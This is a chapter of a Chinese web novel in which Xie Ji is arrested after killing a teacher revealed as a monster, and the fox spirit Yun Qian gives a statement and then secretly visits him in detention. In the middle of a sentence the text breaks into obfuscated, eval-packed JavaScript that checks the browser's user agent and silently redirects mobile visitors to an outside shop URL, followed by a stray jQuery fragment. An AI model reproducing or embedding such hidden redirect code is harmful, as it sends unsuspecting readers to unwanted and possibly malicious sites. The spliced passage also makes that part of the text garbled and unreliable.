云千呼吸急促。
谢霁杀人手法过于娴熟,割喉、剖心,转个手腕的事,他从来没见过这么厉害的杀手。
这段时间的生活太温情,云千放下警惕,忘记最初署长口中的谢霁是多么可怕的人。
王老师。云千的目光移向那具一动不动的尸体。
他开始控制不住地发抖,心脏狂跳。
云千无法想象,每天为他煎鸡排煮鸡汤的人,有一天也会像杀鸡那样轻而易举地杀了他。
他害怕地后退,却突然撞上谢霁的目光。
为什么那样看着他?
云千有些发怔。
为什么看起来很伤心。
爪垫浸着血,慢慢感到凉意。云千低头,看看自己的爪子,看着谢霁跪在血泊里向他伸手。
他的意识慢慢回笼,炸开的毛渐渐落下。
谢霁杀人的时候说,不对,不是呼吸。
云千后知后觉。
王老师是异种。谢霁没有要伤害他,谢霁是在保护他。
云千想上前搭上那只手,想告诉他自己没事,想说对不起我只是吓到了。
但门口一阵嘈杂。
有人高喝:“不许动!”
一排黑洞洞的枪口对准谢霁。
云千急切望去,一群警员围住谢霁,后面卫礼追上来想阻拦,为时已晚。
谢霁刚杀人,警察就到了。
“等一下!”云千扑到谢霁身前,“不是你们看到的那样,他不是——”
云千没说完,被谢霁推开。
刀掉在地上。谢霁从跪姿起身,举起双手。
“人是我杀的,和其他人没关系,”谢霁语气平淡,“走吧。”
警员铐住他,依然用枪指着他,缓慢退出房间。
出房门的那一刻卫礼难以置信地看着谢霁,仿佛在问这就是你说的没有下次。
而谢霁回头看了一眼云千,与卫礼擦肩而过。
小雪狐站在尸体前,白裙塌塌的,沾满血污。
*
云千又一次坐在警局。
同一间房,同一个位置。
当时房间里只有他们三个,王老师死了,谢霁被拘,现在他的口供是最重要的。
云千深呼吸。他不能说得颠三倒四,那样会害得谢霁被认定为犯罪。
“描述下当时的情况。”警员说。
“王老师是异种,他想杀我,是谢霁救了我。”云千的声音还有些发抖。
他没提王老师没有给他造成伤害,也没提老师还在犹豫,是谢霁破门时才真正决定杀人。
只要说了就有可能对谢霁不利。
云千急急地说:“我没有反抗能力,情况紧迫,如果不是谢霁,我可能已经死了。异种的死亡条件未知,他也是走运才碰上,不然死的就是我们两个了。”
他竭力想向警员证明,当时王老师的确有杀人意图,而谢霁是正当防卫,并且对方是异种,谢霁反复捅刺是有原因的,不是恶意杀人。
可是警员对着电脑,什么都没记录。
“你怎么不记呀!”云千急了。
“这……”警员按着键盘,为难地看向同伴。
另一人问:“人是谢霁杀的吗?你亲眼所见?”
“他是为了救我,”云千扒着桌面,“而且死者是异种。”
“请直接回答我的问题,不要顾左右而言他。”
“……”
云千说不出那个“是”字。
警员在笔录上打下“沉默”两个字。
再抬头看云千,一身血,眼睛红透了,急得快哭出来。
他小声和同伴说:“要不写上吧,写上也就是如实记录罢了。”
同伴怼他,和他咬耳朵:“你忘了上面怎么交代的?”
“又和我们没关系,”警员把沉默两个字删了,开始写云千之前的陈述,“这只狗懂点法律呀,等下这狗在笔录上签一个‘以上内容我看过,和我说的完全不相符,我有异议’,咱俩怎么办?”
同伴揉着太阳穴,默许了。
云千出来时太阳已经落山,卫礼一直站在门口等他,垂着头,面色很不好看。
看到云千垂头丧气地挪出来,卫礼还是勉强对他扯出一个笑容,将他抱起。
“我送你回家吧,”卫礼摸着小雪狐绒毛上干涸的血迹,“你家住在哪里?”
云千只是问:“谢霁什么时候能出来?”
卫礼摇摇头。
云千不懂,是不知道,还是再也不能出来了。
卫礼说:“情况很不好。”
虽然死者是异种,但在检测结果出来之前,谢霁依然会被羁押。
杀死异种不犯法,但检测随时都有可能被人做手脚。
离开警局,云千东望西望,确定没有人,才小声央求卫礼。
“园长,你能救救谢霁吗?求求你,可不可以帮帮他?”
卫礼微愣。他没想过一个训练有素的间谍会为谢霁说话。
云千急迫道:“警局里有坏人!他们有阴谋,我做笔录的时候听到了,有人故意安排对谢霁的不利证据。”
甚至包括为什么王老师一死,警员就立刻赶到,都有问题。
卫礼低头看着他,手指渐渐收紧。
他不能说“我知道”,更不能说“谢霁也知道”。
谢霁只是看到了洁白墙面上出现黯淡指印,延伸到玩具室的方向。
他判断出王老师没有离开幼儿园,判断出王老师和云千独处一室,也判断出这是个圈套。
或是针对云千,或是针对他。
一半一半的概率。
他对自己被抓完全有预判。一切只是因为他没有用云千的生命做赌注。
但卫礼只能说:“云千,你一定是吓坏了,听错了,先回家吧。”
云千失落地低下头。
卫礼将他送到家门口,小狐凑到摄像头前解锁大门。
谢霁知道他喜欢狐狸形态,所以在门上加装了一个低矮的智能锁,方便他随时进出。
卫礼与他道别,门在身后合上。
天黑了,家里只有一点阳台透进来的月色,空气冷冷的,没有新鲜气息。
云千在门口呆坐了一会儿,自己扭着把脏了的裙子脱下来。
今天没人给他洗澡。
他最讨厌洗澡,现在没人抱他去洗了,却很想哭。
毛发黏黏的,一身血腥气,很不舒服。云千变回人形,打开灯,移到浴室。
他看着镜子里的自己,被血染透了,眼眶红红的。
浴室的水永远温热,即使谢霁不在,热水器也会忠实工作。可是洗完澡,云千不能昏昏欲睡地趴着,享受轻柔的热风一层层吹干毛发。
他找不到吹风机,水滴了一地。
洗澡的时候他一直在想怎么才能帮到谢霁,一出来就抓起手机,点开通讯录。
找谁求助?他认识的人类朋友只有赵山朝一个。
可是他不能向赵山朝求助。谢霁被拘的事情应该暂时还没有传到公司,能拖一天是一天。
云千没有意识到自己在维护谢霁的声誉,这和他本来的任务南辕北辙。他只是不想让谢霁因为保护他而付出不该有的代价。
他笨拙地在网上搜索,杀人了怎么办。
自首,吃牢饭,死刑。
云千看到死刑两个字,赶紧关闭页面。
又搜,如何让一个好人不被
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17906911|213048||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
冤枉。
没有答案。
夜深了,客厅的时钟滴滴答答。云千不敢关灯,全家所有房间的灯都亮着。
他偏头埋在谢霁的枕头里,上面还有好闻的柑橘气息,只是比早上淡了。
如果谢霁几天不回来,这点气味也会消失。
他想起那片血泊,想起谢霁伸向他的手,还有被他呲牙之后错愕的表情。
温热液体没入柔软的枕巾。
署长说,谢霁是十恶不赦的坏蛋。
可是他没见过谢霁做坏事,这么多天,一次都没有。谢霁给他做饭,哄他睡觉,送他上学,给他买礼物,为了救他而被捕。
谢霁仅仅是在照顾他。
云千压抑呜咽。
照顾他的人一个接一个离开了。托育所的老师,侦探学院的教授,警署的伙伴。有些人就和今天的谢霁一样,大家在分开之前甚至没有告别。
谢霁也会和那些人一样吗?
云千打了个寒颤。他咬住食指指节,让自己不要再哭。
他不是小孩子了,他毕业了,工作了,已经成年了。不论谢霁究竟是否十恶不赦,他都不能让在这件事上无辜的人承担恶果。
他一定有能做的事。
云千再次点开屏幕,看自己的通讯录。
谢霁、赵山朝、白鹅长官。
……白鹅长官。
云千立刻翻身坐起,拨通电话。
谢霁被警员带走,被警署调查。
云千是侦探,也是警员,也在警署工作。
“长官,我需要一份提讯令。”
*
午后,看守所。
戴着帽子口罩的黑发青年将一份材料递到警员面前。
“秘密访问,你可以查看我的权限。”
警员疑惑地打开文件夹,表情逐渐凝固,在系统上查了什么东西,谨慎道:“我需要核验你的身份。”
“我不隶属于人类警署,”青年将材料翻到最后,“这是联署办案批证和提讯批证。”
警员指着公章:“这是灵兽警署分局的章。”
“案件在我局辖区发生。”青年说。
警员再三看对方。按照保密要求,他不能命令对方摘下口罩和帽子,只好将信将疑地刷了对方递来的ID卡。
权限通过。
“我带你进去。”警员说。
看守所的普通讯问室都有铁栅栏隔着,全程录音录像。而这次命令是秘密访问,所以给他们安排了专门的私密房间,没有间隔,没有看护,谁也不会知道里面发生什么。
只有灵兽警署在重大涉污染案件时才有申请权限。一般是为了让灵兽对污染进行检测或净化。
谢霁被带到私密房间,关在座椅里,手脚上铐,四肢被绑带死死固定。
真稀奇。
谢霁靠在椅背里,表情淡淡的,如同毫不在意。
有灵兽来访问他。安排私密房间是为了灵兽隐私不被暴露,绑成这样是为了确保灵兽的安全。
他还是第一次遇到这种情况。不过也没差,不管是谁来,是人是鬼,他看都不会看一眼。
谢霁看了看对面离自己十万八千里远的座位。想来等下那个灵兽警员就要远远地坐在那里,提心吊胆地问他几个无关痛痒的问题。
房门开了又合。
黑发青年出现在房间里。
谢霁忽然移不开目光。
那是熟悉的身形。他亲手丈量过尺寸,为他穿上新衣。
对方急匆匆跑过来,摘了帽子,口罩,还有假发。
“谢霁!”
顶着狐耳的人扑到他怀里,坐在他腿上,紧紧抱住他的脖子,泪水瞬间打湿他的衣襟。